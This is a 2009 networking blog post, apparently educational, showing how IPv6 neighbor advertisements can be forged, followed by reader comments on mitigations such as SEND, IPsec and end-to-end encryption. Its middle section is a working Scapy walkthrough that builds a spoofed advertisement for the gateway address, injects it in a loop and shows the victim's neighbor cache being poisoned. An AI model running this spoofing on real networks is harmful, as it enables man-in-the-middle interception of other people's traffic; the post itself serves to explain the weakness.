The premiere source of truth powering network automation. Open and extensible, trusted by thousands.
IPv6 neighbor spoofing
By stretch | Monday, February 2, 2009 at 3:09 p.m. UTC
IPv4 over Ethernet, by far the most widely deployed LAN technology, has long been plagued by its vulnerability to a simple layer two attack known as ARP spoofing. To oversimplify, ARP spoofing is achieved when a malicious attacker crafts a gratuitous ARP advertisement purporting to be from another host on the LAN, typically the default gateway. By pretending to be the default gateway for a subnet, the attacker can intercept all traffic from the victim host(s) in a man-in-the-middle (MITM) attack.
However, with the (eventual) migration to IPv6, ARP is being phased out, so ARP spoofing should no longer be a problem, right? Wrong. Sort of. While it's true ARP does not exist in the IPv6 protocol stack, IPv6 instead relies on ICMPv6 for many of the same operations carried out via ARP under IPv4. Collectively, these functions make up IPv6's Neighbor Discovery (ND) protocol, described in RFC 4861.
Most similar to typical ARP usage under IPv4 is the ND address resolution function, which is used when a host wants to transmit to an on-link prefix but doesn't yet know the layer two address of the destination host. The sending host multicasts a neighbor solicitation, and the destination host, if reachable, responds with a neighbor advertisement containing its layer two address.
Unfortunately, as in ARP, these exchanges are completely unsecured. There are no countermeasures in place to prevent an attacker from generating a neighbor advertisement advertising his own layer two address as belonging to other hosts on the link.
We can put this theory into practice by fabricating our own custom neighbor advertisements and unicasting them to our intended victim. For this example, we'll use Scapy to craft our malicious advertisement layer by layer:
>>> ls(Ether) dst : DestMACField = (None) src : SourceMACField = (None) type : XShortEnumField = (0) >>> ether=(Ether(dst='00:00:00:00:00:0b', src='00:00:00:00:00:0c')) >>> ls(IPv6) version : BitField = (6) tc : BitField = (0) fl : BitField = (0) plen : ShortField = (None) nh : ByteEnumField = (59) hlim : ByteField = (64) src : SourceIP6Field = (None) dst : IP6Field = ('::1') >>> ipv6=IPv6(src='fe80::1', dst='fe80::2') >>> ls(ICMPv6ND_NA) type : ByteEnumField = (136) code : ByteField = (0) cksum : XShortField = (None) R : BitField = (1) S : BitField = (0) O : BitField = (1) res : XBitField = (0) tgt : IP6Field = ('::') >>> na=ICMPv6ND_NA(tgt='fe80::1', R=0) >>> ls(ICMPv6NDOptDstLLAddr) type : ByteField = (2) len : ByteField = (1) lladdr : MACField = ('00:00:00:00:00:00') >>> lla=ICMPv6NDOptDstLLAddr(lladdr='00:00:00:00:00:0c')
Once we've constructed the individual layers of the packet, we can see how they look after being welded together (notice that Scapy will handle minor aspects automatically, like setting the Ethernet type field to
0x86dd for IPv6).
>>> (ether/ipv6/na/lla).display() ###[ Ethernet ]### dst= 00:00:00:00:00:0b src= 00:00:00:00:00:0c type= 0x86dd ###[ IPv6 ]### version= 6 tc= 0 fl= 0 plen= None nh= ICMPv6 hlim= 255 src= fe80::1 dst= fe80::2 ###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]### type= Neighbor Advertisement code= 0 cksum= 0x0 R= 0 S= 0 O= 1 res= 0x0 tgt= fe80::1 ###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]### type= 2 len= 1 lladdr= 00:00:00:00:00:0c
We can now inject this packet at regular intervals onto the LAN. The following command within Scapy will retransmit the packet every five seconds:
>>> sendp(ether/ipv6/na/lla, iface='br0', loop=1, inter=5)
At a console on the victim machine (running Linux), we can use the
ip utility to monitor IPv6 neighbors on the link. Notice that the MAC address for fe80::1 is initially listed as
00:00:00:00:00:0a, the legitimate gateway, but as soon as we begin injecting our malicious neighbor advertisement, the entry is updated to
00:00:00:00:00:0c, our attacking machine.
Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c DELAY Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE
You can see this attack as it appears on the wire in this handy packet capture. The address resolutions which occur in packets #1/2, and #15/16 are legitimate. Our malicious advertisements are injected at five-second intervals in packets #33, #39, and #45.
February 2, 2009 at 8:17 p.m. UTC
I stumbled across this (by accident) over a year ago. My imediate reaction was to block v6 at all Edge-ports. The next day I thought about it and tried to find a way to provide at least some clients the possibility to use it (in case someone would request it for something he/she really needed), but in the end gave up. I figured that its just a matter of time until more v6-problems would surface... and so it stayed disabled. Honestly I don't plan enabling v6 before 2014 again (the next generation of Edge-hardware - maybe .1xREV will be worth it?).
February 2, 2009 at 10:10 p.m. UTC
oh, good to see you've found scapy. I've known about it for awhile but I suck at using it. hint tutorial hint :)
February 3, 2009 at 12:52 p.m. UTC
this is not really a new problem, is it? it is like in IPv4... and who is actually using all those "anti-arp-spoofing" features in current switches?
Let's hope SEND (Secure ND) will be implemented soon by as many vendors as possible. Do you have any news on that? Right now it seems to be a powerpoint standard without implementation...
February 4, 2009 at 3:53 p.m. UTC
ARP spoofing is what gives us failover on many devices so it's not all bad!
February 4, 2009 at 4:14 p.m. UTC
Dhcp snooping mitigate arp poisoning in IPv4, sure IPv6 will be handled the same ...
February 5, 2009 at 3:39 p.m. UTC
Let me think now......
Shouldn't a function that blocked RA (Router Advertisements) and Illigal NA:s on the accessswitches and only allow thoose you get via DHCPv6. Functions like IPsourceguard and DHCP snooping are nonexistant today on Cisco (and their competitiors) equipment. I think that implementing SEND which involves cryptography will be difficult task. An aditional thing that complicates it all is the fact that LinkLocal addresses are not provided via DHCP and therefore can't be snooped on the access switches or AP:s.
....and we were told IPv6 would improve security. ;)
Cheers Anders Nilsson UMDAC Sweden
February 5, 2009 at 3:57 p.m. UTC
I Though ipsec which is part of IPv6 can prevent this attack.
February 10, 2009 at 1:39 p.m. UTC
See http://tools.ietf.org/html/draft-chown-v6ops-rogue-ra-02: "Rogue IPv6 Router Advertisement Problem Statement"
February 15, 2009 at 3:03 a.m. UTC
As mentioned above, SEND and CGA are designed to help.
March 1, 2009 at 8:25 p.m. UTC
Nothing new, and not specific to IPv6. The answer is to use IPsec, as usual.
March 2, 2009 at 7:32 a.m. UTC
SeND is in 12.4(24)T, so there is still hope ... ;-)
March 11, 2009 at 2:08 a.m. UTC
you are pretty good ... are you looking for a job ... ? if so I'm in canada
March 28, 2009 at 8:43 p.m. UTC
Very Interesting post! Thank you for such interesting resource!
PS: Sorry for my bad english, I'v just started to learn this language ;)
Your, Raiul Baztepo
March 31, 2009 at 7:31 p.m. UTC
Hi thanks for your intresting site and tips !!!
November 30, 2010 at 1:29 a.m. UTC
It seems that the same problem is still present - the attack is just a bit different. If I was a host on this network, what methods would I have to ensure that the other host I'm sending my packets to is actually a router and not a malicious MITM? TBH, the only answer I can think of is "you can't". I like to follow the ideology that if you don't trust the local network, then make sure they can't read or change the data you are sending out - this mean end-to-end encryption.
tl;dr> Let's just table the idea that we can stop these kinds of attacks, and just render them completely useless by using E2E encryption. :)
March 4, 2011 at 12:54 p.m. UTC
i tried this in my own lan. But it doesn't work.
I tried to send an neighbor-advertisement witch the real mac-address and an global ipv6-addresses. this part works very well. The packets reached the victim. I checked this with wireshark.
But the victim didn't change the mac for the ipv6-address. It did an nd-requst to the multicast-address for nd and found the right mac-address for the ipv6-address and the link-local ipv6-address. I checked this with wireshark although.
I tried this witch an linux-client and an xp-client.
Then i tried to do an mitm with scapy and ipv4. that works very well.
March 10, 2011 at 12:54 p.m. UTC
i would like to ask you if it is possible to spoof a range of ipv6 addresses and not
only one, as you demonstrate in the above example.
Thank you in advance
June 2, 2011 at 7:58 p.m. UTC
spoofing of an /64 network means to spoof 18446700000000000000 Addresses.
In IPv6 there is no Broadcastaddress. That means you have to sent 18446700000000000000 Pakets with the right Multicastaddresses.
If you are able to sent 1000000 Pakats per second you have to wait 18446700000000 seconds or approx 213503472 days.
So it is possible ... but nobody has enough time.
December 13, 2011 at 11:04 p.m. UTC
In iniqua.com have written a very interesting post on this topic. You can find in:
December 13, 2012 at 3:49 a.m. UTC
It seems like you are all forgetting how we mitigate this attack for version 4 without fancy tools or IPsec.... static addressing!
August 14, 2014 at 7:36 p.m. UTC
I'm not sure that helps the average user a lot in a Panera/Starbucks/McDonalds, Mike
November 17, 2014 at 11:38 a.m. UTC
Really good explained! You've shown that attack for link-local addresses (fe80:). So you're just be able to redirect traffic that comes from and to the local network right? What's with the traffic to the internet (2001:)? Just replace the link-local with link-global or is that type of attack impossible?